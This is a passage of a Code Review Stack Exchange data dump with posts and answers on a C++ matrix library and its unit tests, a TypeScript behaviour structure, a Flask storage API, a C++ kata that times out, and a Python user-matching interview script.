num_coluna_num_dif_zero = i;\n return true;\n }\n }\n\n return false;\n}\n\nvoid Matrix::changePivotTo_one(std::size_t row_num, Fraction constant)\n{\n for (std::size_t i = 0; i < width; ++i)\n if (at(row_num, i) == 0)\n at(row_num, i) = at(row_num, i);\n else\n at(row_num, i) = at(row_num, i) / constant;\n}\n\nvoid Matrix::zeroOutTheColumn(std::size_t row_num, std::size_t num_pivot_row, Fraction constant)\n{\n for (std::size_t i = 0; i < width; ++i) {\n at(row_num, i) -= at(num_pivot_row, i) * constant;\n }\n}\n</code></pre>\n\n<hr>\n\n<h1>Unit tests</h1>\n\n<p>As I said, we could do with some unit tests to give us more confidence when making changes. Here's a few to be starting with:</p>\n\n<pre><code>#include <gtest/gtest.h>\n\nTEST(Fraction, equals)\n{\n const Fraction zero{};\n const Fraction one{1};\n const Fraction another_one{1};\n const Fraction three_quarters{3,4};\n const Fraction three_fourths{3,4};\n EXPECT_EQ(zero, zero);\n EXPECT_NE(zero, one);\n EXPECT_EQ(one, another_one);\n EXPECT_EQ(three_quarters, three_fourths);\n EXPECT_NE(one, three_quarters);\n}\n\nTEST(Fraction, compare)\n{\n const Fraction zero{};\n const Fraction one{1};\n const Fraction three_quarters{3,4};\n EXPECT_FALSE(zero < zero);\n EXPECT_TRUE(zero <= zero);\n EXPECT_TRUE(zero < one);\n EXPECT_TRUE(three_quarters < one);\n EXPECT_TRUE(three_quarters <= one);\n EXPECT_FALSE(zero > zero);\n EXPECT_TRUE(zero >= zero);\n EXPECT_FALSE(zero > one);\n EXPECT_FALSE(three_quarters > one);\n EXPECT_FALSE(three_quarters >= one);\n}\n\nTEST(Fraction, to_string)\n{\n // Since to_string is implemented in terms of operator<<, we're\n // fully testing that, too.\n const Fraction zero{};\n const Fraction one{1};\n const Fraction half{1,2};\n EXPECT_EQ(\"0\", zero.to_string());\n EXPECT_EQ(\"1\", one.to_string());\n EXPECT_EQ(\"1/2\", half.to_string());\n}\n\nTEST(Fraction, simplify)\n{\n const Fraction half{1,2};\n const Fraction x{2,4};\n const Fraction y{3,6};\n EXPECT_EQ(x, half);\n EXPECT_EQ(y, half);\n\n const Fraction minus_one_half{-1,2};\n const Fraction one_minus_half{1,-2};\n EXPECT_EQ(minus_one_half, one_minus_half);\n}\n\nTEST(Fraction, increment_decrement)\n{\n const Fraction one_quarter{1,4};\n const Fraction five_quarters{5,4};\n const Fraction nine_quarters{9,4};\n auto a = one_quarter;\n EXPECT_EQ(five_quarters, ++a);\n EXPECT_EQ(five_quarters, a);\n EXPECT_EQ(five_quarters, a++);\n EXPECT_EQ(nine_quarters, a);\n auto b = nine_quarters;\n EXPECT_EQ(five_quarters, --b);\n EXPECT_EQ(five_quarters, b);\n EXPECT_EQ(five_quarters, b--);\n EXPECT_EQ(one_quarter, b);\n}\n\nTEST(Fraction, add_subtract)\n{\n // These are implemented in terms of += and -=\n const Fraction one_quarter{1,4};\n const Fraction one_half{1,2};\n const Fraction minus_one_half{1,-2};\n const Fraction five_sixths{5,6};\n const Fraction seven_twelfths{7,12};\n EXPECT_EQ(one_half, +one_half);\n EXPECT_EQ(minus_one_half, -one_half);\n EXPECT_EQ(0-one_half, -one_half);\n EXPECT_EQ(one_half, one_quarter + one_quarter);\n EXPECT_EQ(one_half - one_quarter, one_quarter);\n EXPECT_EQ(seven_twelfths, five_sixths - one_quarter);\n}\n\nTEST(Fraction, multiply_divide)\n{\n // These are implemented in terms of *= and /=\n const Fraction one_quarter{1,4};\n const Fraction one_half{1,2};\n EXPECT_EQ(one_half, one_quarter * 2);\n EXPECT_EQ(one_half, 2 * one_quarter);\n EXPECT_EQ(one_half, one_quarter / one_half);\n}\n\nTEST(Matrix, equals)\n{\n EXPECT_EQ(Matrix{}, Matrix{});\n EXPECT_EQ(Matrix::identity(3), Matrix::identity(3));\n EXPECT_NE(Matrix{}, Matrix::identity(1));\n\n const Matrix all_zero{3, 3, 0};\n const Matrix all_one{3, 3, 1};\n const Matrix all_default{3, 3};\n EXPECT_EQ(all_zero, all_default);\n EXPECT_NE(all_zero, all_one);\n\n const Matrix two_by_three{2, 3};\n const Matrix three_by_two{3, 2};\n EXPECT_NE(two_by_three, three_by_two);\n}\n\nTEST(Matrix, accessors)\n{\n const Matrix two_by_three{2, 3};\n EXPECT_EQ(2, two_by_three.rows());\n EXPECT_EQ(3, two_by_three.cols());\n EXPECT_EQ(6, two_by_three.size());\n EXPECT_FALSE(two_by_three.is_square());\n EXPECT_FALSE(two_by_three.is_identity());\n EXPECT_TRUE(two_by_three.is_constant());\n EXPECT_TRUE(two_by_three.is_zero());\n\n const Matrix null{};\n EXPECT_TRUE(null.is_zero());\n EXPECT_TRUE(null.is_square());\n EXPECT_TRUE(null.is_symmetric());\n EXPECT_TRUE(null.is_skewSymmetric());\n\n const Matrix zero{2,2};\n EXPECT_TRUE(zero.is_zero());\n EXPECT_TRUE(zero.is_square());\n EXPECT_FALSE(zero.is_identity());\n EXPECT_TRUE(zero.is_symmetric());\n EXPECT_TRUE(zero.is_skewSymmetric());\n\n const Matrix one{2,2,1};\n EXPECT_FALSE(one.is_zero());\n EXPECT_TRUE(one.is_constant());\n EXPECT_TRUE(one.is_square());\n EXPECT_FALSE(one.is_identity());\n EXPECT_TRUE(one.is_symmetric());\n EXPECT_FALSE(one.is_skewSymmetric());\n EXPECT_FALSE(one.is_upperTriangular());\n EXPECT_FALSE(one.is_lowerTriangular());\n\n const Matrix identity = Matrix::identity(2);\n EXPECT_FALSE(identity.is_zero());\n EXPECT_FALSE(identity.is_constant());\n EXPECT_TRUE(identity.is_square());\n EXPECT_TRUE(identity.is_identity());\n EXPECT_TRUE(identity.is_symmetric());\n EXPECT_TRUE(identity.is_skewSymmetric());\n EXPECT_TRUE(identity.is_upperTriangular());\n EXPECT_TRUE(identity.is_lowerTriangular());\n\n Matrix two_by_two{2, 2,\n {1, 2,\n 0, 4}};\n EXPECT_TRUE(two_by_two.is_upperTriangular());\n EXPECT_FALSE(two_by_two.is_lowerTriangular());\n EXPECT_FALSE(two_by_two.is_skewSymmetric());\n EXPECT_FALSE(two_by_two.is_symmetric());\n two_by_two(1,0) = 2;\n EXPECT_FALSE(two_by_two.is_skewSymmetric());\n EXPECT_TRUE(two_by_two.is_symmetric());\n two_by_two(1,0) = -2;\n EXPECT_TRUE(two_by_two.is_skewSymmetric());\n EXPECT_FALSE(two_by_two.is_symmetric());\n two_by_two(0,1) = 0;\n EXPECT_FALSE(two_by_two.is_upperTriangular());\n EXPECT_TRUE(two_by_two.is_lowerTriangular());\n}\n\nTEST(Matrix, plus_minus)\n{\n Matrix zero{3,2};\n Matrix one{3,2,1};\n Matrix two{3,2,2};\n Matrix three{3,2,3};\n ASSERT_EQ(one, one + zero);\n ASSERT_EQ(three, one + two);\n ASSERT_EQ(two, three - one);\n ASSERT_EQ(zero, one - one);\n}\n\nTEST(Matrix, transposed)\n{\n Matrix a{2, 3,\n { 1, 2, 3,\n 4, 5, 6 }};\n Matrix b{3, 2,\n { 1, 4,\n 2, 5,\n 3, 6 }};\n ASSERT_EQ(a, b.transposed());\n ASSERT_EQ(b, a.transposed());\n}\n\nTEST(Matrix, determinant)\n{\n // identity matrices have determinant == 1\n ASSERT_EQ(Fraction{1}, Matrix::identity(3).determinant());\n // example from Wikipedia\n Matrix a{3, 3,\n { -2, 2, -3,\n -1, 1, 3,\n 2, 0, -1 }};\n ASSERT_EQ(Fraction{18}, a.determinant());\n // from https://people.richland.edu/james/lecture/m116/matrices/determinant.html\n Matrix b{4, 4,\n { 3, 2, 0, 1,\n 4, 0, 1, 2,\n 3, 0, 2, 1,\n 9, 2, 3, 1 }};\n ASSERT_EQ(Fraction{24}, b.determinant());\n}\n\nTEST(Matrix, inverse)\n{\n Matrix a{3, 3,\n { -2, 2, -3,\n -1, 1, 3,\n 2, 0, -1 }};\n Matrix b = a.inverse();\n ASSERT_EQ(a * b, Matrix::identity(3));\n ASSERT_EQ(b * a, Matrix::identity(3));\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T22:02:56.343",
"Id": "464192",
"Score": "0",
"body": "Let us [continue this discussion in chat](https://chat.stackexchange.com/rooms/104152/discussion-between-hbatalha-and-toby-speight)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T12:50:24.160",
"Id": "464333",
"Score": "0",
"body": "why all the comments have disappeared??"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T13:18:05.887",
"Id": "464336",
"Score": "1",
"body": "obsolete comments (or comments that should've been made in a chatroom) are subject to summary deletion, as outlined in [the explanation for the \"comment everywhere\" privilege](https://codereview.stackexchange.com/help/privileges/comment)"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T17:43:28.347",
"Id": "236729",
"ParentId": "236728",
"Score": "8"
}
},
{
"body": "<p>Some comments, more about methods that about the code.</p>\n\n<h1>Fraction</h1>\n\n<p>Personally I would have called it <code>Rational</code> since that what it is: rational numbers. But this is a matter of taste.</p>\n\n<p>The constructor should assert that <code>_den != 0</code>.</p>\n\n<p>The <code>operator!=</code> should compare the simplified fractions.</p>\n\n<p>Should it not be <code>lcm</code> (lowest common multiple) and <code>gcd</code> (greatest common divisor)?</p>\n\n<h1>Matrix</h1>\n\n<p>Your matrices are <em>dense</em>, meaning that you keep track of all entries. If you care for performance you should also implement <em>sparse</em> matrices, which only keep track of the non-zero entries. There are several data structures for <a href=\"https://en.wikipedia.org/wiki/Sparse_matrix\" rel=\"nofollow noreferrer\">sparse matrices</a>.</p>\n\n<p>Identity and constant matrices should have a special separate representation and re-implement the operations for performance. Actually you should use polymorphism and have a type hierarchy that accounts for: dense matrices, sparse matrices, diagonal matrices, constant matrices, identity matrix. Diagonal matrices will use one single vector of fractions, constant matrices only one fraction and the identity doesn't need any internal representation.</p>\n\n<p>You should use factorizations, instead of brute force for performance:</p>\n\n<ul>\n<li><p>To compute the determinant you can use the <a href=\"https://en.wikipedia.org/wiki/QR_decomposition\" rel=\"nofollow noreferrer\">QR decomposition</a>: the determinant is then the product of the diagonal of R.</p></li>\n<li><p>For the inverse, you could use the <a href=\"https://en.wikipedia.org/wiki/Singular_value_decomposition\" rel=\"nofollow noreferrer\">SVD decomposition</a> to compute the <a href=\"https://en.wikipedia.org/wiki/Moore%E2%80%93Penrose_inverse\" rel=\"nofollow noreferrer\">Moore-Penrose pseudoinverse</a>, which is the inverse, if the matrix is not singular.</p></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T21:26:24.410",
"Id": "464366",
"Score": "0",
"body": "The suggestions are good, I will have to learn them though, learn to do them by hand, only then writing them in cpp."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T20:42:28.260",
"Id": "236902",
"ParentId": "236728",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "236729",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T17:33:36.853",
"Id": "236728",
"Score": "5",
"Tags": [
"c++",
"performance",
"algorithm",
"matrix",
"boost"
],
"Title": "A Matrix Library in C++;"
}
|
236728
|
<p>This code structure allows me to quickly create and manage behaviours on p5.js sketches. I'm planning to move to Java but wanted feedback beforehand.</p>
<p>The behaviour interface:</p>
<pre><code>interface Behaviour<Element> {
apply(...elements: Element[]): void;
}
interface LinearBehaviour<Element> extends Behaviour<Element> {
apply(element: Element): void;
}
interface QuadraticBehaviour<Element> extends Behaviour<Element> {
apply(left: Element, right: Element): void;
}
</code></pre>
<p>The following implementation of a list of behaviours allows me to add behaviours taking in any number of elements:</p>
<pre><code>class Behaviours<Element> implements Behaviour<Element[]> {
private readonly behaviours: Behaviour<Element>[][] = [];
apply(elements: Element[]) {
this.applyBehaviours(elements);
}
add(behaviour: Behaviour<Element>) {
const dimension = behaviour.apply.length;
if(!this.behaviours[dimension])
this.behaviours[dimension] = [behaviour];
else
this.behaviours[dimension].push(behaviour);
}
private applyBehaviours(elements: Element[], dimension = 1, index = 0, previous: Element[] = []) {
for (let n = index; n < elements.length; n++) {
let currents = [...previous, elements[n]]
if (this.behaviours.length > dimension)
this.applyBehaviours(elements, dimension + 1, n + 1, currents);
if (this.behaviours[dimension - 1])
for (let behaviour of this.behaviours[dimension - 1])
behaviour.apply(...currents);
}
}
}
</code></pre>
<p>Implementation examples of behaviours:</p>
<pre><code>class Wrapping implements LinearBehaviour<Particle> {
constructor(private readonly margin = 0) {}
apply(helium: Particle): void {
if (helium.location.x < this.margin)
helium.location.x = this.width;
else if (helium.location.x > this.width)
helium.location.x = this.margin;
if (helium.location.y < this.margin)
helium.location.y = this.height;
else if (helium.location.y > this.height)
helium.location.y = this.margin;
}
/** The canva's width with margins. */
protected get width() { return width - this.margin; }
/** The canva's height with margins. */
protected get height() { return height - this.margin; }
}
class Gravity implements QuadraticBehaviour<Celestial> {
constructor(public G: number = 1) {}
/** Applies, to both celestials, Newton's altered law of universal gravitation. */
apply(celestial: Celestial, melancholia: Celestial): void {
let gravity = p5.Vector.sub(melancholia.location, celestial.location), // Angle from vector substraction
distance = gravity.mag(), // Distance from vector substraction
strength = -1 < distance && distance > 1
? (this.G * celestial.mass * melancholia.mass) / distance // Altered formula of gravitation
: 0;
gravity.setMag(strength);
// Add gravity to celestial's acceleration
celestial.apply(gravity, false);
// Add reversed gravity to melancholia's acceleration
gravity.mult(-1);
melancholia.apply(gravity);
}
}
</code></pre>
<p>With this structure I can easily define a process as follow:</p>
<pre><code>abstract class Process<Element> implements Drawable, Behaviour<Element> {
protected elements: Element[];
public readonly forms: Behaviours<Element>;
public readonly behaviours: Behaviours<Element>;
protected constructor() {
this.behaviours = new Behaviours();
this.forms = new Behaviours();
}
/** Draws every form for every element. */
public draw(): void {
this.forms.apply(this.elements);
}
/** Applies every behaviour to every element. */
public apply() {
this.behaviours.apply(this.elements);
}
}
</code></pre>
<p>And implement a sketch like this:</p>
<pre><code>class Universe extends Process<Atom> {
public constructor(density = 60) {
super();
// Initialize elements
this.elements = new Array(density);
for (let n = 0; n < density; n++)
this.elements[n] = Particle.random(); // Get particle with random values
// Initialize
this.forms.add(new Circle(2)); // Draws ellements as circles with radius 2
// Initialize behaviours
this.behaviours.add(new Update()); // Update every atom's location
this.behaviours.add(new Wrapping(-100)); // Keeps atoms visible
this.behaviours.add(new Gravity());
}
}
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T18:40:27.783",
"Id": "236731",
"Score": "2",
"Tags": [
"object-oriented",
"design-patterns",
"typescript"
],
"Title": "Object oriented behavioural project structure in Typescript"
}
|
236731
|
<p>I have a Repl.it account that I use for my projects, and I don't really want to make a new api for storage every time, I've seen some like EasyDB and Jsonstore (I use Jsonstore in the background as storage here) but it doesn't have some of the features i want. It isn't done, but its working. I just wanted to see if there's any improvements I could make before I start working on the next few features.</p>
<pre class="lang-py prettyprint-override"><code>from os import getenv as env
from flask import make_response
from flask import Flask, request
from flask_limiter import Limiter
from json_store_client import Client
from flask_httpauth import HTTPBasicAuth
from werkzeug.security import check_password_hash
from werkzeug.security import generate_password_hash
app = Flask('app')
auth = HTTPBasicAuth()
db = Client(env("TOKEN"))
limiter = Limiter(
app,
key_func=lambda: auth.username(),
default_limits=["100 per second"]
)
@auth.verify_password
def verify_password(username, password):
user = db.retrieve(f"users/{username}")
try:
if check_password_hash(user["password"], password):
return True
except: return False
return False
@app.route('/regester', methods = ['POST'])
def register():
if request.is_json: user = request.get_json()['username']
else: user = request.form['username']
if db.retrieve(f"users/{user}"):
return False
if request.is_json: db.store(f"users/{user}", { "password": generate_password_hash(request.get_json()['password'])})
else: db.store(f"users/{user}", { "password": generate_password_hash(request.form['password'])})
return make_response(user, 201)
@app.route('/', methods = ['GET'], defaults={'fullurl': ''})
@app.route('/<path:fullurl>', methods = ['GET'])
@auth.login_required
def index_get(fullurl):
data = db.retrieve(f"data/{auth.username()}/{fullurl}")
if data: return make_response(data, 200)
return make_response({}, 204)
@app.route('/', methods = ['POST'], defaults={'fullurl': ''})
@app.route('/<path:fullurl>', methods = ['POST'])
@auth.login_required
def index_post(fullurl):
if request.id_json: db.store(f"data/{auth.username()/{fullurl}}", request.get_json())
else: db.store(f"data/{auth.username()}", request.form)
return make_response(db.retrieve(f"data/{auth.username()}"), 201)
app.run(host="0.0.0.0")
</code></pre>
|
[] |
[
{
"body": "<h3><em>Few optimization tips</em></h3>\n\n<ul>\n<li><p><code>verify_password</code> function <br></p>\n\n<ul>\n<li>avoid bare <code>except:</code> clause - at least use <code>except Exception:</code> (though it's also broad, check which exception class is most appropriate in that context)</li>\n<li><p>a set of statements:</p>\n\n<pre><code>try:\n if check_password_hash(user[\"password\"], password):\n return True\nexcept: return False\nreturn False\n</code></pre>\n\n<p>is an overloaded and verbose version of a more explicit logic:</p>\n\n<pre><code>@auth.verify_password\ndef verify_password(username, password):\n user = db.retrieve(f\"users/{username}\")\n try:\n return check_password_hash(user[\"password\"], password)\n except Exception:\n return False\n</code></pre></li>\n</ul></li>\n<li><p>don't overuse (or avoid entirely) multiple statements one-liners like <code>if <condition>: <long statement></code></p></li>\n<li><p>avoid writing duplicated lengthy <em>db</em> statements like:</p>\n\n<pre><code>if request.is_json: db.store(f\"users/{user}\", { \"password\": generate_password_hash(request.get_json()['password'])})\nelse: db.store(f\"users/{user}\", { \"password\": generate_password_hash(request.form['password'])})\n</code></pre>\n\n<p>To fix that determine <code>request</code> data source beforehand. Optimizing <strong><code>register</code></strong> function:</p>\n\n<pre><code>@app.route('/regester', methods = ['POST'])\ndef register():\n data = request.get_json() if request.is_json else request.form\n user = data['username']\n if db.retrieve(f\"users/{user}\"):\n return False\n\n db.store(f\"users/{user}\", {\"password\": generate_password_hash(data['password'])})\n return make_response(user, 201)\n</code></pre>\n\n<p>Apply this optimization technique to all remaining functions with a similar issue.</p></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T23:48:13.277",
"Id": "464091",
"Score": "0",
"body": "Thank you, I didn't know about the except thing before, always thought it was defaulted to `except Exception`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T07:57:32.060",
"Id": "464110",
"Score": "0",
"body": "@HaaruunI, you're welcome"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T11:37:51.507",
"Id": "464138",
"Score": "0",
"body": "@HaaruunI: It defaults to `except BaseException`, which also includes stuff like the user pressing `Ctrl+C`."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T19:48:21.043",
"Id": "236737",
"ParentId": "236732",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "236737",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T18:59:28.730",
"Id": "236732",
"Score": "3",
"Tags": [
"python",
"flask"
],
"Title": "A storage bin thingy for Repl.it projects"
}
|
236732
|
<p><a href="https://www.codewars.com/kata/best-travel" rel="nofollow noreferrer">https://www.codewars.com/kata/best-travel</a></p>
<p>Briefly, the problem states that we have to create a function <code>choose_best_sum(int t, int k,std::vector<int> xs)</code> that will take as parameters t (maximum sum of elements, integer >= 0), k (number of elements to be chosen from the vector, k >= 1) and ls (list of <strong>positive</strong> elements to choose k elements from). The function returns the "best" sum i.e. the biggest possible sum of k elements less than or equal to the given limit t, if that sum exists, or otherwise -1.</p>
<p>For Example:</p>
<p>If <code>ls</code> = [50, 55, 57, 58, 60], <code>t</code> = 174 and <code>k</code> = 3, </p>
<p>Then all the possible choices of <code>k</code>(3) elements in <code>ls</code> are: </p>
<p>[50,55,57],[50,55,58],[50,55,60],[50,57,58],[50,57,60],[50,58,60],[55,57,58],[55,57,60],[55,58,60],[57,58,60]</p>
<p>The corresponding sums are then: 162, 163, 165, 165, 167, 168, 170, 172, 173, 175.</p>
<p>Out of which, 173 is the largest sum less than <code>t</code>(174),so the function <code>chooseBestSum(int t, int k, std::vector<int>& ls)</code> returns 173.</p>
<p>From what I understand of the problem, one must basically enumerate and the compare all the possible combinations of k elements from the vector. My solution works, but times out, so it isn't accepted. I've basically tried to create a sliding window that slides through the vector and adds the elements inside the window to i-th and j-th elements and then adds them all to a local sum variable to be compared to the best sum. I know that four for-loops are a performance nightmare for a problem like this. What can I do to optimize it? Or is their an obvious other strategy that I'm missing?</p>
<pre class="lang-cpp prettyprint-override"><code>
class BestTravel
{
public:
static int chooseBestSum(int t, int k, std::vector<int>& ls);
};
int BestTravel::chooseBestSum(int t, int k, std::vector<int>& ls){
int best_sum = 0;
for(int i =0;i<=ls.size()-k;i++){ //selects the first element for each combination
for(int s=i+1;s<ls.size()-(k-2);s++){ //creates a sliding window(?) for k-2 elements
int l_sum = ls[i];
for(int x = s;x<s+(k-2);x++){ // iterates through the window and adds the elements to the local sum (l_sum)
l_sum+=ls[x];
}
for(int j = ls.size()-1;j>=s+(k-2);j--){//adds the remaining elements from the end to the local sum
l_sum+=ls[j];
if(l_sum<=t&&l_sum>best_sum){best_sum = l_sum;}
l_sum-=ls[j];
}
}
}
return best_sum;
}
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T22:14:24.217",
"Id": "464077",
"Score": "3",
"body": "Welcome to Code Review! would you please include a section in your question that reiterates the problem statement so that users don't have to navigate away from the page in order to figure out what you are trying to solve?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T06:14:06.550",
"Id": "464104",
"Score": "1",
"body": "@Malachi♦ Thank You! I have added the problem statement in the question,"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T09:37:07.693",
"Id": "464236",
"Score": "0",
"body": "Can the elements of the vector also be negative? Does the code work? Can you give examples of input and output? Now, there is no function named 'choose_best_sum()'. You wrapped a class around your code for no reason, remove the class and the habit. Format your code consistently. Don't try to solve timing problems by cramming as much code as possible on one line. That only makes your code unreadable, not fast. Sorry for being harsh, but at that point my review stops. Fix those points first, then your question will start to attract people for a more in-depth review."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T03:31:59.107",
"Id": "464311",
"Score": "0",
"body": "@uli Thank you for the feedback! I have added an example.My function _does_ work, but it is too slow."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T08:00:37.350",
"Id": "464321",
"Score": "0",
"body": "What about all the other problems with your question?"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T19:14:08.643",
"Id": "236733",
"Score": "1",
"Tags": [
"c++",
"time-limit-exceeded"
],
"Title": "Best Travel Kata C++"
}
|
236733
|
<p>Thanks in advance if you are reading this code.</p>
<p>I recently submitted this code as part of an interview (took about 4-5 hours). Unfortunately, they did not like the code and I received a form rejection email without any sort of feedback. However, I am committed to improving my code and I would like to learn from my mistakes. The code below works. You should be able to run it yourself. <strong>It takes about 2 minutes to run.</strong> Access to the database is there. It is a test database, but I do not maintain it. It is perfectly fine to have the username and password there.</p>
<p><strong>What the code does:</strong>
The code accesses an API and a database. It then looks for people with the same first and last name and matches them up and extracts if they were active within 30 days: on the database and on the API, which each represent a different user platform. There was a space constraint for this assignment, which is why I used generators. There is some stuff I didn't mention, but this is the meat of the assignment. Please let me know if any additional clarification is required. </p>
<p><strong>I thought that I had done a pretty good job, but apparently not. Please let me know if you have any feedback (positive and critical) on this code and how it could be improved (assuming it does what it's supposed to do). I would really like to be able to take my rejection and turn it into a learning opportunity. Thanks again.</strong></p>
<p>If you feel that you need to contact me, let me know and we can work it out.</p>
<pre><code>import time
import requests
import pymysql
from datetime import datetime, date
import json
#
# HELPER FUNCTIONS
#
def database_endpoint_iterator(database_config, database_query, size):
"""Generator function that connects to a database and iterates over the data.
Parameters:
database_config (dict): Configuration details for database.
database_query (str): Query specifying what information to extract from the database.
size (int): Number of rows to fetch each time. Controls how much data is loaded at one time into memory.
"""
connection = pymysql.connect(**database_config)
cursor = connection.cursor(pymysql.cursors.DictCursor)
cursor.execute(database_query)
while True:
rows = cursor.fetchmany(size)
if not rows:
break
for row in rows:
yield row
connection.close()
def api_endpoint_iterator(endpoint_url, page_size):
"""Generator function that queries a REST API and iterates over paginated data.
Parameters:
endpoint_url (str): REST API url.
page_size (int): Number of pages to fetch each time. Controls how much data is loaded at one time into memory.
"""
page = 1
total_pages = 1
users_left_over = []
while True:
users = users_left_over
# fetches correct amount of pages at one time
for _ in range(page_size):
payload = {
'page': page
}
r = requests.get(endpoint_url, params=payload)
r_json = r.json()
total_pages = r_json['total_pages']
users += r_json['users']
if page > total_pages:
break
page += 1
# users are only sorted by last name, this ensures that users are sorted by last name and first name
users.sort(key=lambda user: (user['lastname'], user['firstname']))
# handles situations where users with the same last name span multiple pages
for index, user in enumerate(users):
if user['lastname'] == users[-1]['lastname']:
users_left_over = users[index:]
break
yield user
if page > total_pages:
break
# gets any users that were left over due to same last names spanning multiple pages
for user in users_left_over:
yield user
def compare(user1, user2):
"""Compares two users using their first name and last name.
Returns:
0 if users have the same first name and last name
1 if user1 comes alphabetically after user2
-1 if user1 comes alphabetically before user2
"""
user1_str = user1['lastname'] + ' ' + user1['firstname']
user2_str = user2['lastname'] + ' ' + user2['firstname']
if user1_str < user2_str:
return -1
elif user1_str > user2_str:
return 1
else:
return 0
def is_active(user):
"""Determines if a user is active.
Returns:
True if the user was active within the last 30 days, otherwise False.
"""
today = "2017-02-02"
today = datetime.strptime(today, "%Y-%m-%d")
last_active = datetime.strptime(str(user['last_active_date']), "%Y-%m-%d")
return (today - last_active).days <= 30
def create_user_dict(user_internal, user_external):
"""Creates a combined data set from an internal user and external user.
Returns:
A dictionary of relevant data for the users.
"""
user = {'firstname': user_internal['firstname'],
'lastname': user_internal['lastname'],
'specialty': user_internal['specialty'].lower(),
'practice_location': user_external['practice_location'],
'platform_registered_on': user_internal['platform_registered_on'].lower(),
'internal_classification': user_internal['classification'].lower(),
'external_classification': user_external['user_type_classification'].lower(),
'is_active_internal_platform': is_active(user_internal),
'is_active_external_platform': is_active(user_external)}
return user
#
# CONFIGURATION
#
start_time = time.time()
row_size = 5000 # configuration variable for how many rows from the database are loaded into memory
page_size = 1 # configuration variable for how many pages from the api are loaded into memory
warehouse_sample_user_count = 10
warehouse_sample = {'users': []}
total_matches = 0
# rest api url
endpoint_url = 'http://de-tech-challenge-api.herokuapp.com/api/v1/users'
# database configuration
database_config = {'host': 'candidate-coding-challenge.dox.pub',
'user': 'de_candidate',
'password': 'P8MWmPPBLhhLX79n',
'port': 3316,
'database': 'data_engineer'}
database_query = "SELECT * FROM user ORDER BY lastname, firstname;"
#
# MAIN PROGRAM
#
# set up the data iterators using the function generators
users_internal_source = database_endpoint_iterator(database_config, database_query, row_size)
users_external_source = api_endpoint_iterator(endpoint_url, page_size)
# get a user from each data source
user_internal = next(users_internal_source)
user_external = next(users_external_source)
# compare each user in one data source to the other, stop when there is no more data
while True:
try:
if compare(user_internal, user_external) == 0:
total_matches += 1
if warehouse_sample_user_count > 0:
warehouse_sample['users'].append(create_user_dict(user_internal, user_external))
warehouse_sample_user_count -= 1
user_internal = next(users_internal_source)
user_external = next(users_external_source)
elif compare(user_internal, user_external) < 0:
user_internal = next(users_internal_source)
else:
user_external = next(users_external_source)
except StopIteration:
break
# sample user data in json for the warehouse
warehouse_sample = json.dumps(warehouse_sample, indent = 4)
# sql for the design of a table that would house the results, this is just for printing to the output.txt file
sql_ddl = '''CREATE TABLE user_active_status (
id INT NOT NULL AUTO_INCREMENT,
first_name VARCHAR(50),
last_name VARCHAR(50),
specialty VARCHAR(50),
practice_location VARCHAR(50),
platform_registered_on VARCHAR(25),
internal_classification VARCHAR(50),
external_classification VARCHAR(50),
is_active_internal_platform TINYINT(1),
is_active_external_platform TINYINT(1)
PRIMARY KEY (id)
);'''
end_time = time.time()
elapsed_time = round(end_time - start_time)
#
# OUTPUT
#
# generate the output.txt file
with open("output.txt", "w") as f:
f.write("Elapsed Time: " + str(int(elapsed_time / 60)) + ' minutes, ' + str(elapsed_time % 60) + ' seconds\n\n')
f.write("Total Matches: " + str(total_matches) + "\n\n")
f.write("Sample Output:\n" + warehouse_sample + "\n\n")
f.write("SQL DDL:\n")
f.write(sql_ddl)
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T22:43:20.233",
"Id": "464080",
"Score": "0",
"body": "Is \"some stuff I didn't mention\" important for how your code works, or what it does? If so then you should [edit] those details into the question. For instance, I see a `CREATE TABLE` in a SQL statement but don't see anything in your problem description that says it is necessary."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T22:55:31.630",
"Id": "464085",
"Score": "0",
"body": "For future reference, please do not include the raw API key or any usernames or passwords within your question. Mark them `xxxxxxx` or something similar."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T06:18:33.183",
"Id": "464106",
"Score": "0",
"body": "@Linny the username and password in the question are fine. It's specific to the problem and necessary to run it. Normally I would remove it, but this is a test system, and I want people to be able to run this code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T06:30:06.913",
"Id": "464107",
"Score": "0",
